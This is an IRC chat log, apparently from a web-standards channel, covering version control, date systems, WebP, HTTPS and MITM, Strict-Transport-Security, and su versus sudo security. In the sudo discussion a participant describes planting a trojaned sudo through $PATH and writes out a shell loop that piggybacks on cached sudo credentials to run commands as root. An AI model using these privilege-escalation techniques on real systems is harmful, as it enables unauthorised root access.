So it doesn't tell you what "git commit" will commit.

[09:59:03.0000] <AryehGregor>
It tells you the stuff you haven't staged yet.

[10:01:00.0000] <AryehGregor>
I do think git is harder to learn, even these days.  The man pages are colossal.

[10:02:00.0000] <AryehGregor>
$ git help log | wc -l

[10:02:01.0000] <AryehGregor>
1016

[10:02:02.0000] <AryehGregor>
$ hg help log | wc -l

[10:02:03.0000] <AryehGregor>
46

[10:02:04.0000] <AryehGregor>
And it's not because there are tons of examples in the git help page, either.

[10:03:00.0000] <AryehGregor>
git log just has more than 100 command-line options.

[10:07:00.0000] <AryehGregor>
/me reads http://krijnhoetmer.nl/irc-logs/whatwg/20090714#l-102, where everyone rediscovers things that he's known for months

[10:08:00.0000] <AryehGregor>
Some browsers wrap out-of-range values (mainly WebKit), some clamp (mainly IE and Opera), some ignore the value and use default (mainly Gecko).

[10:09:00.0000] <AryehGregor>
Wait, this was well over a year ago.

[10:09:01.0000] <AryehGregor>
So I didn't know it at the time.

[10:09:02.0000] <AryehGregor>
Crazy dates.

[10:20:00.0000] <Philip`>
Yeah, dates are a silly idea

[10:20:01.0000] <jgraham>
AryehGregor: Your opinion that dates are crazy somewhat undermines your opinion that hg is crazy

[10:20:02.0000] <Philip`>
Everything should happen simultaneously

[10:20:03.0000] <jgraham>
Philip`: All you need to do it become a massless particle

[10:20:04.0000] <jgraham>
and your ish will be granted

[10:20:05.0000] <jgraham>
*wish

[10:21:00.0000] <jgraham>
(to avert any further flaming, I should note I like both hg and git)

[10:21:01.0000] <AryehGregor>
jgraham, come on, you have to agree that dates are crazy.

[10:21:02.0000] <AryehGregor>
Our units of temporal measurement, from seconds on up to months, are so complicated, asymmetrical and disjunctive so as to make coherent mental reckoning in time all but impossible. Indeed, had some tyrannical god contrived to enslave our minds to time, to make it all but impossible for us to escape subjection to sodden routines and unpleasant surprises, he could hardly have done better than handing down our present system. It is like a set o

[10:21:03.0000] <AryehGregor>
f trapezoidal building blocks, with no vertical or horizontal surfaces, like a language in which the simplest thought demands ornate constructions, useless particles and lengthy circumlocutions. Unlike the more successful patterns of language and science, which enable us to face experience boldly or at least level-headedly, our system of temporal calculation silently and persistently encourages our terror of time.

[10:21:04.0000] <AryehGregor>
… It is as though architects had to measure length in feet, width in meters and height in ells; as though basic instruction manuals demanded a knowledge of five different languages. It is no wonder then that we often look into our own immediate past or future, last Tuesday or a week from Sunday, with feelings of helpless confusion. …

[10:21:05.0000] <AryehGregor>
— Robert Grudin, Time and the Art of Living.

[10:21:06.0000] <AryehGregor>
http://www.gnu.org/software/automake/manual/tar/Date-input-formats.html

[10:22:00.0000] <jgraham>
Well date *formats* might be crazy

[10:23:00.0000] <jgraham>
Butmeasuing time is a surprisingly complex problem

[10:23:01.0000] <espadrine>
I love the definition of a second.

[10:24:00.0000] <jgraham>
and has legacy compatibility issues that make HTML look like a joke by comparison

[10:25:00.0000] <AryehGregor>
So does that mean the French revolutionaries who tried to introduce decimal time are like the XHTML WG?

[10:25:01.0000] <Philip`>
Do people who have to deal with relativity (measuring time precisely in satellites etc) have some clever new time system that doesn't make assumptions about it being absolute, or do they just use normal UTC dates/times and then hack it to cope with some drift?

[10:25:02.0000] <aho>
decimal time is awesome :>

[10:26:00.0000] <aho>
just like having 13 months with exactly 4 weeks each (and 1-2 extra days at the end of the year)

[10:27:00.0000] <Druide__>
hm

[10:28:00.0000] <Druide__>
does anyone know how the different browsers handle chunked transfer encoding when it comes to download content (javascript / css)?

[10:28:01.0000] <Druide__>
for ob_flush after the head content

[10:33:00.0000] <AryehGregor>
Philip`, cosmologists deal with relativity by just not talking about distances, don't they?  They give the redshift of a star to tell you how far away it is, I think.

[10:34:00.0000] <AryehGregor>
(and then all the popular sources use some fairly arbitrary means of converting from redshift to light-years, which sometimes winds up to be well over 15 billion light-years, which is confusing)

[11:48:00.0000] <AryehGregor>
Hmm, WebP.

[11:48:01.0000] <AryehGregor>
/me shrugs

[11:48:02.0000] <AryehGregor>
It'll be a long time till it's worth using over JPEG, with no fallback support.

[11:54:00.0000] <Philip`>
No need for fallback, just add the format into the Accept header

[11:56:00.0000] <Philip`>
It'll make every HTTP request about 16 bytes bigger but it'll save Google 20% of their bandwidth on some images, so it's a sacrifice the world should happily make

[11:58:00.0000] <Philip`>
(Seems the only advantage it has over any other better-than-JPEG format is that browsers with built-in WebM will already have the code for WebP)

[11:58:01.0000] <Philip`>
(and I don't know if that's a particularly significant advantage)

[12:02:00.0000] <aho>
sort of. reading binary data in c/c++ is error prone and leads to really awful security issues. having less code which does this kind of thing is better

[12:03:00.0000] <aho>
a few weeks ago they found yet another vuln in firefox's png loader for example... that's pretty amazing, given how old that code is

[12:05:00.0000] <Philip`>
The alternative here is to stick with JPEG, which is even less code than supporting WebP

[12:06:00.0000] <AryehGregor>
Accept headers are fine if you want to bother with configuring your web server, so I guess it'll work for Google, but not for random web apps.

[12:07:00.0000] <AryehGregor>
Unless they serve the images from a script anyway.

[12:07:01.0000] <Philip`>
Most of Google's web performance work seems to be aimed towards working for Google, not for random web apps

[12:08:00.0000] <AryehGregor>
/me can't think of an immediate counterexample

[12:09:00.0000] <AryehGregor>
Does it have to be an extra 16 bytes on every HTTP request?  Couldn't you do it just for image requests?

[12:09:01.0000] <AryehGregor>
Actually, come to think of it, they could just do UA sniffing.

[12:09:02.0000] <AryehGregor>
Which isn't a big problem for Google.

[12:09:03.0000] <AryehGregor>
Although it's a real pain for regular web app developers who aren't testing 24/7, feature-testing is much better for them.

[12:10:00.0000] <AryehGregor>
You could do feature-testing too if you wanted, using JS, I guess.  Maybe set a cookie.

[12:10:01.0000] <Philip`>
Regular web app developers can use JPEG and be done with it, and if they really care about performance then they can make sure they're using sensible JPEG quality settings and probably save 50% of their filesize

[12:11:00.0000] <AryehGregor>
It's kind of awkward to make the Accept header bigger forever when if it works out, everyone will support it five or ten years from now anyway.

[12:11:01.0000] <AryehGregor>
Yeah, random web apps probably have much bigger performance problems than large JPEGs anyway.

[12:15:00.0000] <Philip`>
(I think Google's shared dictionary compression thing sounds like one of the more extreme examples of a proposed standard feature that nobody except Google is likely to use, since it looks extremely complex to set up properly and likely to give very little gain in most cases)

[12:15:01.0000] <Philip`>
(but since they've got Chrome now they can make up these features and get them deployed unilaterally)

[12:15:02.0000] <AryehGregor>
Yes, that's true.

[12:16:00.0000] <AryehGregor>
SDCH sounds too complicated for even Google to use effectively except in special cases.

[12:16:01.0000] <AryehGregor>
But there are other things that could be just written into web servers, like HTTPS performance improvements.

[12:16:02.0000] <Philip`>
Maybe the most useful thing for performance is profiling tools

[12:17:00.0000] <Philip`>
rather than new technologies that people don't know when to use

[12:17:01.0000] <AryehGregor>
That's only good for people who are spending lots of time trying to improve performance.  For random websites, improving the web server or programming language or browser will provide better gains.

[12:17:02.0000] <AryehGregor>
Particularly the browser, there's lots of stuff to be done there.

[12:18:00.0000] <AryehGregor>
Steve Souders' last blog post basically pleaded with browser implementers to do something like Opera has an experimental mode for, where you render the whole page before or while you run scripts instead of waiting for scripts to finish before rendering HTML after them.

[12:19:00.0000] <aho>
well, there is this "fast by default" thing. i.e. a server could do some optimizations out of the box. and a CMS can do even more.

[12:19:01.0000] <Philip`>
If people writing random websites spent five seconds looking in a profiling tool to see that their page loads are being delayed by five seconds by embedding a dozen buttons and widgets from third-party sites, they could easily make huge improvements

[12:19:02.0000] <aho>
SPDY is one of those things. if support is there, things would be faster. 0 effort required :>

[12:20:00.0000] <AryehGregor>
Yes, SPDY has a lot of potential.

[12:20:01.0000] <AryehGregor>
Although of course it only works over SSL.

[12:20:02.0000] <AryehGregor>
There goes your whole "random websites" thing.

[12:20:03.0000] <aho>
ye, that ssl thing is also bugging me

[12:21:00.0000] <AryehGregor>
Actually, maybe browsers could support SPDY over HTTP by doing an SSL handshake with dummy authentication, and treating it as HTTP for all purposes (cookies, UI, etc.).

[12:21:01.0000] <AryehGregor>
So you wouldn't need an actual certificate to deploy it, but it would be encrypted to foil dumb proxies.

[12:22:00.0000] <AryehGregor>
Or maybe HTTPS could be updated to support sane methods of authentication that normal sites can actually deploy.

[12:22:01.0000] <AryehGregor>
You know, just a thought.

[12:23:00.0000] <AryehGregor>
DNSSEC will be an improvement, when browsers support getting certificate signatures from there instead of CAs, but it still will require significant configuration.

[12:24:00.0000] <variable>
duno if this is exactly on topic - but I HATE when web browsers put all these "broken website" alerts when HTTPS certs fails. Its still better than nothing 

[12:24:01.0000] <AryehGregor>
variable, not if the reason the certificate is wrong is because a MITM is intercepting your connection.

[12:24:02.0000] <variable>
AryehGregor, its still better than pure http.

[12:25:00.0000] <AryehGregor>
If there's a MITM, it's worse than failing the connection.

[12:25:01.0000] <variable>
its either "its possible that one person is MITMing you" or "anyone in the world could mitm you"

[12:25:02.0000] <AryehGregor>
Look at it from the browser's point of view, not the site's.

[12:25:03.0000] <AryehGregor>
The point of SSL is that there can be no MITM.

[12:25:04.0000] <variable>
so in the event that SSL fails go to pure http?

[12:25:05.0000] <AryehGregor>
No, fail completely.

[12:26:00.0000] <AryehGregor>
Which is what browsers do.

[12:26:01.0000] <variable>
if browsers put up the same warning for pure http pages I wouldn't have a problem

[12:26:02.0000] <AryehGregor>
They don't try to switch to HTTP.

[12:26:03.0000] <variable>
I'd rather have the encryption

[12:26:04.0000] <variable>
and have the chance for /one/ person to MITM me

[12:26:05.0000] <variable>
than have the chance for /anyone/ to mitm me

[12:26:06.0000] <AryehGregor>
That's different.  Pure HTTP means "we have no reason to believe this site ever intended to be secure".  HTTPS with bad cert might mean "this site is supposed to be secure but someone is MITMing it".

[12:27:00.0000] <AryehGregor>
If a site is being accessed over HTTP in the first place, the assumption is that there's not anything much worth MITMing, e.g., credit card numbers.

[12:27:01.0000] <AryehGregor>
And hmm?  HTTPS without a signed cert means anyone can MITM you, same as HTTP.

[12:27:02.0000] <AryehGregor>
Now, I agree that the UI here is terrible.

[12:27:03.0000] <AryehGregor>
Generally it's an outright lie.

[12:27:04.0000] <variable>
AryehGregor, but - that means that only /one/ person can sniff the data instead of /everyone/

[12:28:00.0000] <variable>
perhaps there can be something like httpE which means "use ssl and ignore failing certificates. also don't show the padlock but please be encrypted"

[12:28:01.0000] <AryehGregor>
I'd think everyone could still sniff it.  You'd just have to chain the attacks.  But it's immaterial -- multiple MITMs are no worse than one.

[12:28:02.0000] <AryehGregor>
variable, http://tcpcrypt.org

[12:28:03.0000] <AryehGregor>
That's the solution I'd like to see for encryption-without-authentication.

[12:29:00.0000] <AryehGregor>
Its goal is to encrypt all TCP traffic, at the transport layer, transparently to applications, in a way that makes implementing auth on top of it very easy.

[12:29:01.0000] <AryehGregor>
In a fashion that can be deployed now, with existing routers and so on that try to interfere with traffic.

[12:29:02.0000] <AryehGregor>
All adding no more overhead than one round-trip on the first connection to a site.

[12:29:03.0000] <AryehGregor>
(plus encryption/decryption, which is typically negligible)

[12:30:00.0000] <variable>
AryehGregor, multiple MITMs can be worse than one. I'd like to see tcpcrypt as well. in terms of not failing SSL connections its a shorter term solution

[12:30:01.0000] <AryehGregor>
tcpcrypt is a short-term solution.

[12:30:02.0000] <AryehGregor>
It could theoretically be deployed now.

[12:30:03.0000] <AryehGregor>
On Linux, you just have to compile and run the provided user-space daemon, you don't even need kernel changes.

[12:31:00.0000] <variable>
but it requires that both sides agree to deploy it. allowing SSL connections to not fail (but not showing the padlock/good ssl signs) would only require one side to change

[12:31:01.0000] <variable>
I agree that tcpcrypt is a better long term solution

[12:31:02.0000] <AryehGregor>
Allowing unsigned certs also requires both sides to deploy it: the browser to accept the cert, the site to provide the cert.

[12:31:03.0000] <AryehGregor>
Not really any different.

[12:32:00.0000] <AryehGregor>
Anyway, I'm hoping that when STS is widely used, implementers can be persuaded to downplay error messages from bad certs if STS isn't present.

[12:32:01.0000] <AryehGregor>
On the theory that all sites that really need SSL should be using STS.

[12:32:02.0000] <AryehGregor>
SSL without STS has pretty huge holes, as commonly implemented.

[12:32:03.0000] <AryehGregor>
Since usually then the HTTP version of the site will just redirect to the HTTPS version, so just MITM it at that point . . .

[12:33:00.0000] <AryehGregor>
/me notes Strict-Transport-Security:max-age=500 on paypal.com

[12:33:01.0000] <AryehGregor>
That's way too short, it should be like a year.

[12:33:02.0000] <variable>
AryehGregor, perhaps there can be some server side header x-fail-bad-ssl or x-really-need-to-be-secure. while regular SSL could be intrepreted to be "just encrpyption"

[12:34:00.0000] <variable>
meh

[12:34:01.0000] <AryehGregor>
variable, that's Strict-Transport-Security.

[12:34:02.0000] <AryehGregor>
Currently being deployed.

[12:34:03.0000] <variable>
AryehGregor, I was about to mention that

[12:34:04.0000] <variable>
then I look up

[12:34:05.0000] <variable>
and saw you did ;-)

[12:34:06.0000] <variable>
meh

[12:34:07.0000] <AryehGregor>
/me is surprised to see that amazon.com forces HTTP for browsing

[12:34:08.0000] <AryehGregor>
I guess they switch to HTTPS for checkout, but still.

[12:35:00.0000] <variable>
switching to ssl for checkout is silly

[12:36:00.0000] <variable>
you could still MITM it before then

[12:36:01.0000] <variable>
imho all sites that need it should be using SSL from homepage until the user leaves the site

[12:36:02.0000] <AryehGregor>
That's true.

[12:36:03.0000] <AryehGregor>
Just spoof the checkout link.

[12:36:04.0000] <AryehGregor>
Easy to do.

[12:36:05.0000] <variable>
for sites that can't handle the load I am not against developing some pre-encrypted home page type thing

[12:36:06.0000] <AryehGregor>
Of course, you could just spoof the whole site.

[12:37:00.0000] <variable>
which is why a lot of banks don't use SSL on the homepage

[12:37:01.0000] <AryehGregor>
In which case this is all useless.

[12:37:02.0000] <variable>
AryehGregor, I was thinking of sslstrip 

[12:37:03.0000] <Philip`>
On Amazon I thought you rarely typed in any sensitive information, since the site remembers your login name and payment details etc

[12:37:04.0000] <AryehGregor>
Which is why what I really want to see is something like Mozilla Account Manager becoming standard in all browsers, then possibly add some way to force SRP.

[12:38:00.0000] <Philip`>
so it'd be quite suspicious if it was MITMed and you went to checkout and it asked you to type everything in again

[12:38:01.0000] <variable>
AryehGregor, are you phycic? I was about to say that ;-)

[12:38:02.0000] <variable>
*psychic

[12:38:03.0000] <AryehGregor>
Philip`, users are used to typing their passwords when asked.  So I don't think it's suspicious.

[12:38:04.0000] <AryehGregor>
variable, including SRP?

[12:38:05.0000] <AryehGregor>
Not many people seem to know about SRP or PAKE.

[12:38:06.0000] <variable>
Philip`, I rarely tell amazon to remember my addrss/CC numbers - mostly cause it changes so often

[12:38:07.0000] <Philip`>
/me rarely has any idea what his password is, he just expects the browser to autofill it

[12:38:08.0000] <AryehGregor>
My crypto professor covered it in the last class (PAKE generally, not SRP).

[12:39:00.0000] <variable>
AryehGregor, the stanford project?

[12:39:01.0000] <AryehGregor>
It's an RFC.

[12:39:02.0000] <variable>
heh - didn't know that

[12:39:03.0000] <AryehGregor>
http://en.wikipedia.org/wiki/Secure_remote_password_protocol

[12:39:04.0000] <variable>
AryehGregor, I knew of SRP - but I thought it was a stanford thing

[12:39:05.0000] <AryehGregor>
Is it a Stanford projecT?

[12:39:06.0000] <AryehGregor>
project?

[12:40:00.0000] <AryehGregor>
Seems so.

[12:40:01.0000] <AryehGregor>
Unfortunately, it's useless unless you have some way to ensure that attackers can't substitute UI that will submit the passwords in cleartext.

[12:40:02.0000] <AryehGregor>
Anyone who makes a new application protocol that uses any password authentication that permits an MITM to gain any information about the password should be shot.

[12:41:00.0000] <variable>
Philip`, I tell my browser the password currently. soon I'm going to switch to having the browser generate it now that mozilla has a sync option

[12:41:01.0000] <AryehGregor>
variable, I'd do that if different browsers would sync passwords between each other.

[12:41:02.0000] <variable>
AryehGregor, well - they shouldn't be desining the protocalls

[12:41:03.0000] <variable>
*designing the protocalls if they don't know what they are doing

[12:42:00.0000] <AryehGregor>
Chrome and Firefox both have some type of sync, now why can't they sync with each other?

[12:42:01.0000] <AryehGregor>
I don't think Chrome syncs passwords at all, though.

[12:42:02.0000] <variable>
AryehGregor, chrome syncs p/wds

[12:42:03.0000] <variable>
but not between FF & chrome

[12:42:04.0000] <variable>
Xmarks used to do that

[12:42:05.0000] <variable>
but they failed :-(

[12:42:06.0000] <AryehGregor>
Is that under "Autofill"?

[12:42:07.0000] <variable>
I'm not sure

[12:42:08.0000] <variable>
I rarely use chrome

[12:42:09.0000] <AryehGregor>
I don't want to sync my passwords to Windows machines.  I treat all Windows machines as potentially compromised.

[12:42:10.0000] <variable>
and I don't have it on this compy

[12:43:00.0000] <AryehGregor>
Easier that way.

[12:43:01.0000] <variable>
AryehGregor, are you in the "Linux/macs can't get viruses" club ?

[12:43:02.0000] <AryehGregor>
I'm in the "Linux/Mac is very unlikely to get viruses in practice" club.

[12:43:03.0000] <AryehGregor>
Of course they *can*.

[12:44:00.0000] <variable>
AryehGregor, slightly unrelated: do you know of google's autocomplete SSL-packetsize info leakage vuln? its quite fun

[12:44:01.0000] <AryehGregor>
Fun recent blog post: http://tstarling.com/blog/2010/09/desktop-linux-security-complacency/

[12:44:02.0000] <AryehGregor>
I don't think I've heard of it.  Is it your standard "SSL leaks info about keystrokes if you send them as soon as you type" kind of thing?

[12:44:03.0000] <variable>
AryehGregor, yeah

[12:45:00.0000] <variable>
most linux distros use sudo for root tasks which is stupid from a security point of view

[12:45:01.0000] <AryehGregor>
Well, there's really no way to completely prevent that kind of attack unless you just saturate the channel with noise.  For a low-bandwidth thing like autosuggest that might be feasible, though, if you impose a very low maximum bandwidth.

[12:45:02.0000] <AryehGregor>
Stupid compared to what?

[12:45:03.0000] <variable>
AryehGregor, you should be using su for root tasks

[12:45:04.0000] <variable>
and delete sudo

[12:45:05.0000] <AryehGregor>
Why?

[12:46:00.0000] <AryehGregor>
su means I leave root shells lying open.

[12:46:01.0000] <variable>
no - use su -c if you really need to

[12:46:02.0000] <variable>
because sudo uses your password and su uses roots

[12:46:03.0000] <AryehGregor>
So?

[12:46:04.0000] <variable>
and that means you lose the double-factor authentication of root

[12:46:05.0000] <AryehGregor>
(It can be configured to use root's password, by the way.)

[12:46:06.0000] <AryehGregor>
(sudo, I mean.)

[12:46:07.0000] <AryehGregor>
In what circumstances would that double-factor authentication make any difference at all on a typical mostly-one-user desktop?

[12:46:08.0000] <variable>
AryehGregor, its not by default. If they did that it wouldn't be bad

[12:47:00.0000] <AryehGregor>
It's not by default, but you can easily change it if you like.

[12:47:01.0000] <AryehGregor>
On a single-user machine, I don't see the point at all.

[12:47:02.0000] <variable>
AryehGregor, the reason for asking for a password is typically so that if somone managed to guess/crack your SSH password they can't get root without a second password

[12:47:03.0000] <AryehGregor>
On a multi-user machine, it means you have to change the root password whenever an admin enters or leaves, which is a pain.

[12:48:00.0000] <variable>
AryehGregor, the best possibility is to allow multiple root passwords 

[12:48:01.0000] <variable>
and give each account their own root p/w

[12:48:02.0000] <AryehGregor>
On a single-user machine, getting user access is practically equivalent to getting root access anyway.

[12:48:03.0000] <variable>
and then just delete it when they leave

[12:49:00.0000] <AryehGregor>
You get all the user's data and can mess with their programs however you like.

[12:49:01.0000] <AryehGregor>
Once you control a user's account, just alter $PATH so that they use your hacked sudo or su or whatever.

[12:49:02.0000] <AryehGregor>
Then they get the root password too.

[12:49:03.0000] <AryehGregor>
You can even change their shell if you like.

[12:49:04.0000] <AryehGregor>
And there are GUI equivalents here too.

[12:49:05.0000] <variable>
AryehGregor, I have all my single user machines configured in a very specific way: a) if you compromise my user account you get my data but then I just restore from backup and go on with life. b) if you compromise root it is likely that I need to reinstall from scratch

[12:50:00.0000] <AryehGregor>
And you prevent them from getting the root password how, once they get access to your regular user account?

[12:50:01.0000] <variable>
if I thought my account was compromised I'd probably boot into single user mode to get root

[12:50:02.0000] <variable>
if they altered my path - and I used su during that time - I'm probably screwed

[12:50:03.0000] <variable>
the root password is encrypted?

[12:50:04.0000] <AryehGregor>
Doesn't help if they alter $PATH.

[12:51:00.0000] <AryehGregor>
You could improve things a bit, of course.

[12:51:01.0000] <variable>
yeah - I could probably harden my machine a bit

[12:51:02.0000] <AryehGregor>
I meant from the perspective of sudo's developers.

[12:51:03.0000] <variable>
yeah

[12:51:04.0000] <AryehGregor>
Like make "sudo" a shell built-in that refers to a binary that has to have a particular digital signature, and make the actual sudo binary check what program is invoking it and bail out if it's not a recognized shell.

[12:52:00.0000] <AryehGregor>
That doesn't stop this: while ! sudo -n true </dev/null >/dev/null 2>&1 ; do sleep 1; done ; sudo id </dev/null 2>&1 | cat

[12:52:01.0000] <variable>
AryehGregor, the sudo idea of giving selective root access is a fine idea - I just don't like that it is tied to the user's password

[12:52:02.0000] <variable>
AryehGregor, ""while ! sudo -n true </dev/null >/dev/null 2>&1 ; do sleep 1; done ; sudo id </dev/null 2>&1 | cat" will fail if sudo " will fail if su is used over sudo 

[12:52:03.0000] <AryehGregor>
Because su forces you to type your password every single time?

[12:52:04.0000] <variable>
yes

[12:53:00.0000] <AryehGregor>
sudo can be configured that way too, but then people will just leave root shells open.

[12:53:01.0000] <AryehGregor>
Which makes physical security much worse.

[12:53:02.0000] <variable>
a root shell open is fine 

[12:53:03.0000] <variable>
for me

[12:53:04.0000] <variable>
cause I just do lock -npv

[12:53:05.0000] <variable>
meh - I'd like to see something like sudo which gives selective root access based on a /second/ non-root's password

[12:54:00.0000] <variable>
along with somethinh like tsu

[12:54:01.0000] <variable>
which gives you a root shell for say 5 minutes

[12:54:02.0000] <variable>
and then closes it

[12:54:03.0000] <variable>
/me made up tsu now

[12:54:04.0000] <variable>
/me writes tsu now

[12:54:05.0000] <variable>
AryehGregor, that article you linked to above is a very interesting read

[12:58:00.0000] <variable>
AryehGregor, do you know of any other secrurity oriented blogs? I have my stock but I'm looking for less newsy and more technical oriented blogs

[12:59:00.0000] <variable>
*security 

[12:59:01.0000] <AryehGregor>
tstarling.com isn't security-oriented, theoretically.

[12:59:02.0000] <AryehGregor>
It's just the blog of a MediaWiki developer, who's sometimes interested in security (and who happens to almost never post).

[12:59:03.0000] <Philip`>
AryehGregor: Isn't physical security already terrible, since someone could reboot your machine with a bootable CD and access all your files, just as easily as they could use one of the root shells you've left open?

[12:59:04.0000] <AryehGregor>
Bruce Schneier's blog is a fairly standard one, although it's high-traffic and somewhat noisy.

[13:00:00.0000] <AryehGregor>
Philip`, not just as easily.  One of those two can be done instantly, the other requires several minutes and looks much more suspicious.

[13:00:01.0000] <variable>
I read Bruce Schneieir - but that is far more newsy than I'm looking for

[13:00:02.0000] <AryehGregor>
Particularly if you configure BIOS to have a password and not boot from CDs, in which case they'll have to take apart your computer to reset the BIOS.

[13:00:03.0000] <variable>
he used to have better - more in depth articles

[13:01:00.0000] <AryehGregor>
/me looks over his blog subscription list

[13:01:01.0000] <AryehGregor>
imperialviolet.org is good, although it doesn't have so many posts.

[13:01:02.0000] <AryehGregor>
(more than tstarling.com)

[13:02:00.0000] <AryehGregor>
/me sees no others offhand

[13:02:01.0000] <variable>
I like xor eax eax a lot

[13:02:02.0000] <AryehGregor>
They haven't gotten promoted to xor rax rax yet?  :)

[13:03:00.0000] <AryehGregor>
I'm getting only noise Googling for "xor eax eax", what's the URL?

[13:04:00.0000] <variable>
sorry - its xorl eax eax

[13:04:01.0000] <variable>
https://xorl.wordpress.com/

[13:04:02.0000] <AryehGregor>
Bah, the L is redundant.

[13:05:00.0000] <AryehGregor>
Looks rather low-level for me (although maybe I should have guessed from the name).

[13:05:01.0000] <AryehGregor>
/me subscribes anyway, why not

[13:07:00.0000] <variable>
https://xorl.wordpress.com/2010/01/13/cve-2001-0053-openbsd-ftpd-remote-off-by-one-overwrite/ --> he exlains one the few openBSD security bugs

[13:08:00.0000] <AryehGregor>
Who cares about OpenBSD security bugs?  They're too small a target for anyone to attack in practice anyway.

[13:08:01.0000] <variable>
Imperial Violiate looks interesting

[13:09:00.0000] <AryehGregor>
Serious hackers go after profitable targets.

[13:09:01.0000] <AryehGregor>
If you're not huge, then you only have to worry about script kiddies.

[13:09:02.0000] <variable>
AryehGregor, cause /a lot/ of other projects use OpenBSD software. And cause it was an interesting one ;-)

[13:09:03.0000] <variable>
imagine a security bug in openSSH

[13:09:04.0000] <variable>
meh - I just thought it was interesting

[13:10:00.0000] <AryehGregor>
These C/C++ bugs mostly look repetitive to me.  If you play with fire, you're going to get burned.

[13:10:01.0000] <AryehGregor>
Same with XSS in a typical PHP app.  The setup practically guarantees the vulnerabilities.

[13:10:02.0000] <variable>
in certain cases you need a low level language (kernel anyone?) 

[13:11:00.0000] <AryehGregor>
Yes, true.

[13:11:01.0000] <variable>
using the wrong language for the wrong type of project is silly - I agree

[13:11:02.0000] <AryehGregor>
At least for some parts of the kernel.

[13:11:03.0000] <variable>
no very high level project should be using C 

[13:11:04.0000] <variable>
heck - I'd even like to see kernels written in embedded C++

[13:12:00.0000] <AryehGregor>
Microsoft's Singularity project has a kernel written in C#, with a few extensions, including the ability to use inline assembly.

[13:12:01.0000] <AryehGregor>
(which apparently is used roughly in the places where you'd use it in a C kernel)

[13:12:02.0000] <AryehGregor>
Unfortunately, the performance/security tradeoff just doesn't work out in favor of more secure languages for a lot of programs.

[13:12:03.0000] <AryehGregor>
You'd think you could at least avoid pointer arithmetic most of the time, though.  That's the real killer.

[13:13:00.0000] <AryehGregor>
(as far as I can see)

[13:14:00.0000] <variable>
It would be interesting to see a probably secure microkernel 

[13:14:01.0000] <variable>
IIRC there was a project to write one

[13:14:02.0000] <AryehGregor>
Then you just move all the security bugs to userspace.

[13:14:03.0000] <AryehGregor>
Doesn't help much to eliminate them.

[13:14:04.0000] <variable>
yeah - but they do a lot less damage that way

[13:15:00.0000] <variable>
of course - its a lot slower

[13:15:01.0000] <AryehGregor>
Not really.  A memory management or filesystem daemon can do just as much damage as a kernel.

[13:15:02.0000] <AryehGregor>
Stuff like network drivers could profitably be pushed to userspace, from a security perspective.

[13:15:03.0000] <AryehGregor>
But it's sort of pointless for stuff like the scheduler, as far as I can tell.

[13:16:00.0000] <AryehGregor>
If you control that sort of thing, you control the system, or close enough.

[13:16:01.0000] <AryehGregor>
It's like running X as a non-root user but still giving it direct access to keyboard and mouse input.  Great, so you have to wait till someone types a password.

[13:18:00.0000] <Philip`>
variable: "a probably secure microkernel" - did you mean "provably"? (That letter makes quite a difference...)

[13:18:01.0000] <variable>
Philip`, erm - yes

[13:20:00.0000] <variable>
that was a bad typo

[13:20:01.0000] <variable>
/me has to get better at typing

[13:26:00.0000] <Hixie>
probably more accurate as "probably", as per the rest of the discussion :-)

[13:27:00.0000] <AryehGregor>
Man, I hate XChat.

[13:27:01.0000] <AryehGregor>
I don't even know what key combination I pressed to make me /part.

[13:27:02.0000] <AryehGregor>
There should not *be* any key combination that makes you /part.

[13:29:00.0000] <variable>
Hixie, I was thinking of a /provably/ secure kernel

[13:29:01.0000] <AryehGregor>
Doesn't help much without a provably secure userspace.

[13:30:00.0000] <AryehGregor>
I think Chrome OS's approach is sounder in practice, although it's not as theoretically nice.

[13:30:01.0000] <variable>
I don't know much about how chrome os works

[13:30:02.0000] <Philip`>
"Beware of bugs in the above code; I have only proved it correct, not tried it."

[13:30:03.0000] <AryehGregor>
Basically a chain of trust.

[13:30:04.0000] <AryehGregor>
It has read-only firmware that checks the signature of the read-write firmware, which checks the signature on the kernel, which checks the signature on every block of the root filesystem as it reads it.

[13:31:00.0000] <AryehGregor>
All signed by Google.

[13:31:01.0000] <AryehGregor>
If any signature doesn't match, the user is asked if they want to reinstall the OS.

[13:31:02.0000] <Philip`>
What if the user says no?

[13:31:03.0000] <AryehGregor>
All data is stored in the cloud, so data is just wiped.

[13:31:04.0000] <variable>
Philip`, the idea of a provable kernel is that you could match the code to the theory 

[13:31:05.0000] <AryehGregor>
Then they can keep using it.

[13:31:06.0000] <AryehGregor>
As long as they say no every single time they boot the machine.

[13:32:00.0000] <AryehGregor>
Or they can possibly open up the machine and fiddle with jumpers to install their own read-only firmware (it's not meant to protect against physical attacks, yet).

[13:32:01.0000] <Philip`>
AryehGregor: That sounds like a security hole, since users are being a choice between two buttons of which one means "yes, please spend some minutes doing nothing visible while downloading some code" and the other means "just let me get on with my work"

[13:33:00.0000] <AryehGregor>
Philip`, yeah, but a) it will probably strongly advise them to say "yes", and they don't know that "no" means "let me get on with my work"; and b) they'll get sick of the nagging eventually.

[13:33:01.0000] <Philip`>
so the people who don't guess a response at random are more likely to pick the second option

[13:34:00.0000] <AryehGregor>
The point isn't to make attacks impossible, that's always overkill.  You just need to make them too difficult to be worth the payoff.

[13:34:01.0000] <Dashiva>
AryehGregor: Isn't it enough for the attacker if they say no once?

[13:34:02.0000] <AryehGregor>
You're drastically reducing the number of machine-hours you can steal.

[13:34:03.0000] <AryehGregor>
Dashiva, no, because then it will happen again when they reboot, since the signature still won't match.

[13:34:04.0000] <AryehGregor>
The read-only firmware doesn't know that they said no before (how could it?).

[13:35:00.0000] <Dashiva>
But the attacker will have had a whole session to do whatever he wanted

[13:35:01.0000] <AryehGregor>
Sure, but they can't compromise the machine for longer than one session, in the normal case.

[13:35:02.0000] <AryehGregor>
So it makes attacks drastically less attractive than in the usual desktop case.

[13:35:03.0000] <Dashiva>
He just needs to steal your password once :)

[13:36:00.0000] <AryehGregor>
Did I mention that absolutely everything in userspace uses every single Linux sandboxing technique in existence?

[13:36:01.0000] <AryehGregor>
Process namespacing, chroot, etc.  Like Chrome itself.

[13:37:00.0000] <AryehGregor>
And users can't install normal programs, only web apps.

[13:37:01.0000] <AryehGregor>
So it's going to be very difficult to get user-level access to begin with.

[13:37:02.0000] <AryehGregor>
And once you have it, it's wiped out on reboot.

[13:37:03.0000] <AryehGregor>
Nothing's perfect, but this raises the bar enormously.

[13:37:04.0000] <Dashiva>
If it's going to be a very rare occurence to begin with, why give the user a choice to do the insecure option?

[13:38:00.0000] <AryehGregor>
Plus, of course, everything silently auto-updates.

[13:38:01.0000] <AryehGregor>
